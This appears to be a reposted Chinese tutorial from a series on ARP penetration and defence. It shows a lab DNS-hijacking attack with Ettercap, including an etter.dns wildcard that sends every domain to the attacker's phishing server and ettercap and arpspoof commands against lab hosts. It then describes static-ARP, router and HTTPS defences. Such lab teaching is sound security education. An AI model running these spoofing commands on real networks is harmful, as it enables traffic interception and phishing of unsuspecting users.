ARP渗透与攻防之Ettercap Dns劫持

Posted 私ははいしゃ敗者です

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ARP渗透与攻防之Ettercap Dns劫持相关的知识,希望对你有一定的参考价值。

系列文章

ARP渗透与攻防(一)之ARP原理
ARP渗透与攻防(二)之断网攻击
ARP渗透与攻防(三)之流量分析
ARP渗透与攻防(四)之WireShark截获用户数据
ARP渗透与攻防(五)之Ettercap劫持用户流量
ARP渗透与攻防(六)之限制网速攻击

ARP-Ettercap Dns劫持

1.什么是DNS

1.概念

DNS是Domain Name System的缩写, 我们称之域名系统。首先它是远程调用服务,本地默认占用53端口,它本身的实质上一个域名和ip的数据库服务器,他要完成的任务是帮我们把输入的域名转换成ip地址,之后通过ip寻址连接目标服务器。

2.工作过程

当访问一个网站时系统将从DNS缓存中读取该域名所对应的IP地址,当查找不到时就会到系统中查找hosts文件,如果还没有那么才会向DNS服务器请求一个DNS查询,DNS服务器将返回该域名所对应的IP,在你的系统收到解析地址以后将使用该IP地址进行访问,同时将解析缓存到本地的DNS缓存中。

2.什么是DNS劫持

1.概念

DNS劫持又称域名劫持,是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。

2.ettercap劫持的原理

局域网劫持, 攻击者通过伪装成网关, 劫持受害者的网络请求, 将网络请求拦截到指定的服务器

3.DNS常用命令讲解

1.查看DNS缓存表

ipconfig /displaydns

2.获取DNS地址:

ping maishibing.com

2.刷新DNS缓存

ipconfig /flushdns


3.ARP-DNS欺骗攻击步骤

环境准备

kali 作为ARP攻击机,IP地址:192.168.110.12

win10 作为被攻击方,IP地址:192.168.110.11

网关(路由器),IP地址:192.168.110.1

1.kali开启apache服务

service apache2 start

2.kali浏览器访问Apache的首页

http://192.168.110.12

确认apache服务已经开启

3.编辑ettercap配置文件

1.进入配置文件位置
cd /etc/ettercap

2.复制原有的配置文件(环境恢复比较方便)
cp etter.dns etter.dns2

3.设置dns劫持配置文件

vi /etc/ettercap/etter.dns
添加以下内容
*   A   192.168.110.12
*   PTR 192.168.110.12
wq保存
参数
*:通配符,代表所有的网站都将被解析到192.168.110.12 
也可以换成指定的网站,比如www.jd.com,表示将www.jd.com解析到192.168.110.12
A:常被用于正向地址解析,后面跟上钓鱼的ip地址
PTR :常被用于反向地址解析,后面跟上钓鱼的ip地址

5.ettercap劫持命令讲解

 ettercap -i eth0 -Tq -M arp:remote -P dns_spoof /被攻击者ip// /被攻击者网关// 
 -i:网卡
 -T:文本模式
 -q:安静模式
 -M:执行mitm攻击
 -P:plugin 开始该插件

4.靶机访问以下网站确认环境正常

http://www.jd.com/

6.执行劫持命令

ettercap -i eth0 -Tq -M arp:remote -P dns_spoof /192.168.110.11// /192.168.110.1// >b.txt

7.分析日志

tail -f b.txt
或者
tail -f b.txt | grep "dns_spoof"

8.靶机重新访问以下网站查看攻击效果

http://www.jd.com/

可以看到虽然靶机访问的是jd.com,但打开的却是我们钓鱼的网站,DNS欺骗成功。

9.停止劫持

Ctrl+C

10.恢复dns列表,刷新dns缓存即可。

ipconfig /flushdns

刷新前:

刷新后:

11.靶机访问以下网站查看环境是否恢复正常

http://www.jd.com/


可以看到环境恢复正常了

12.恢复kali环境

1.进入配置文件位置
cd /etc/ettercap
2.复制dns文件到新文件
cp etter.dns etter.dns1
3.还原dns配置文件

将我们之前拷贝的etter.dns2备份文件回复正常

cp etter.dns2 etter.dns

ARP渗透与攻防之ARP攻击防御

系列文章

ARP渗透与攻防(一)之ARP原理
ARP渗透与攻防(二)之断网攻击
ARP渗透与攻防(三)之流量分析
ARP渗透与攻防(四)之WireShark截获用户数据
ARP渗透与攻防(五)之Ettercap劫持用户流量
ARP渗透与攻防(六)之限制网速攻击
ARP渗透与攻防(七)之Ettercap Dns劫持

ARP攻击防御

1.ARP防御方法简介

ARP攻击的原理是向网关和靶机不停的发送ARP欺骗报文,我们的计算机或者网关就会实时更新ARP缓存表,从而出现安全漏洞。假如对这种欺骗报文的处理是不相信或者不接受的话,就不会出现问题了。处理这种的欺骗的行为我们没办法提前在攻击端进行操作,因为敌人躲在暗处,而我们处明处。

针对这种情况我们可以从以下两方面入手:

1.让我们的电脑不接收欺骗包

2.即使接收到欺骗的包也不要相信

目前网络安全行业现有的ARP防御方案,基本都是基于上面两个方法实现的。

2.windows防御

1.安装arp的防火墙

1.安装360安全卫士 地址:https://www.360.cn/
2.选择网络安全

3.选择流量防火墙

4.选择局域网防护开启防火墙

5.kali开启ARP攻击
arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.24

6.查看防护效果

2.设置静态mac地址

1.临时绑定,重启后失去保护效果

1.ARP表MAC地址绑定状态

ARP表MAC地址绑定类型有动态和静态两种。

动态:有时效限制,会实时更新,不安全

静态:长久生效,不会随时间或者通知而变化,安全。

我们来看一下电脑上的ARP表。

arp -a

大部分都是动态的,动态的MAC地址他有生命周期,一定时间之后就会被替换,另外别人通知我更新的时候,也会被直接替换,也就是说无论是被动获取时发现变化了,还是主动被告知时已经变动了,arp列表都会进行更新。如果是攻击方告诉了靶机,他也会相信,从而导致被攻击。我们解决的方法就是把动态的MAC地址变成静态的。那么该如何绑定呢?

2.绑定步骤

1.Win10以管理员身份运行CMD命令提示符

2.查询网关的ip和mac地址

arp -a | findstr 192.168.110.1
网关的IP:192.168.110.1
网关的MAC地址:e4-3a-6e-35-98-00

3.查询本机的网卡

ipconfig

4.查询本地连接的网卡ID号

netsh i i show in

#netsh i i show in  是netsh  interface ipv4 show interfaces 的缩写

从图中可以找到,Idx就是网卡的ID,以 Ethernet0也就是我本机的网卡,id=6

5.临时绑定mac地址,重启失效

netsh -c i i add neighbors  6 192.168.110.1 e4-3a-6e-35-98-00 store=active

-c Context 指定上下文
i: interface 更改到 `netsh interface' 上下文。
i:ipv4
add: 在项目列表上添加一个配置项目
neighbors: 添加邻居地址
store=active:设置为临时绑定
查询帮助命令:netsh -c /?

6.发起ARP攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.24

7.查询靶机ARP表

arp -a

8.停止ARP攻击

ctrl+c

9.重启靶机,查看arp表

arp -a

10.重新发起ARP攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.12

11.查看靶机arp

arp -a

12.停止攻击

ctrl+c

2.永久绑定,重启后不失效

1.绑定命令

netsh -c i i add neighbors  6 192.168.110.1 e4-3a-6e-35-98-00 store=persistent
store=persistent:永久绑定

2.查看ARP表

arp -a

3.发起ARP攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.24

4.查看arp缓存表

arp -a

5.重启电脑,查看ARP表

arp -a

6.删除静态配置

arp -d ip #不推荐使用,下次设置时,出现错误
netsh -c i i delete ne 6  #推荐使用

7.查看靶机arp表

arp -a

8.停止攻击

ctrl+c

3.linux防御

1.查询arp表命令

arp -a
ip n 
ip neigh
 
192.168.110.1 dev ens33 lladdr e4:3a:6e:35:98:00 STALE #不新鲜的
192.168.110.1 dev ens33 lladdr e4:3a:6e:35:98:00 REACHABLE #可到达的


2.临时添加静态地址,重启后失效

arp -s 192.168.110.1 e4:3a:6e:35:98:00

3.查询arp表

ip n
192.168.110.1 dev ens33 lladdr e4:3a:6e:35:98:00 PERMANENT #永久的

4.发起ARP攻击

ettercap -T -i eth0  -M arp:remote /192.168.110.1// /192.168.110.26// 

5.查看靶机arp表

 ip n 

6.重启靶机

reboot

7.查看靶机arp表

ip n


可以看到重启后绑定失效了,mac地址又被替换成了kali的,于是又被arp攻击成功了。

8.将其添加到 rc.local里边 开启自动执行

vi  /etc/rc.local
chmod +x /etc/rc.d/rc.local
添加:
arp -s 192.168.110.1 e4:3a:6e:35:98:00
wq保存


9.重启centos7

reboot

10.查看arp表

ip n


可以看到,设置自动执行后,重启系统arp绑定也没失效。

4.路由/网关防护设置

1.打开路由器配置网站

​ 一般是http://网关ip

2.点击更多功能

3.选择网络设置–局域网

4.添加静态ip地址绑定列表

5.手动添加绑定

5.WEB服务防御ARP攻击

web服务防御明文传输泄露用户信息的手段:使用加密协议:https

1.什么是HTTP

超文本传输协议,是一个基于请求与响应,无状态的,应用层的协议,常基于TCP/IP协议传输数据,互联网上应用最为广泛的一种网络协议,所有的WWW文件都必须遵守这个标准。设计HTTP的初衷是为了提供一种发布和接收HTML页面的方法。使用明文传输,容易被劫持。

2.什么是HTTPS

《图解HTTP》这本书中曾提过HTTPS是身披SSL外壳的HTTP。HTTPS是一种通过计算机网络进行安全通信的传输协议,经由HTTP进行通信,利用SSL/TLS建立全信道,加密数据包。HTTPS使用的主要目的是提供对网站服务器的身份认证,同时保护交换数据的隐私与完整性。使用加密传输,不容易被拦截,更加安全。

TLS是传输层加密协议,前身是SSL协议,由网景公司1995年发布,有时候两者不区分。

3.HTTPS加密通讯工作原理

以上是关于ARP渗透与攻防之Ettercap Dns劫持的主要内容,如果未能解决你的问题,请参考以下文章

ettercap工具之DNS劫持

初探 Ettercap: ARP投毒 && DNS欺骗

Kali利用Ettercap实现中间人攻击之DNS劫持(DNS欺骗)

『网络协议攻防实验』ARP欺骗与中间人攻击

通过Weeman+Ettercap配合拿下路由器管理权限

ettercap局域网内DNS欺骗(隔壁的哥们轻一点 ...)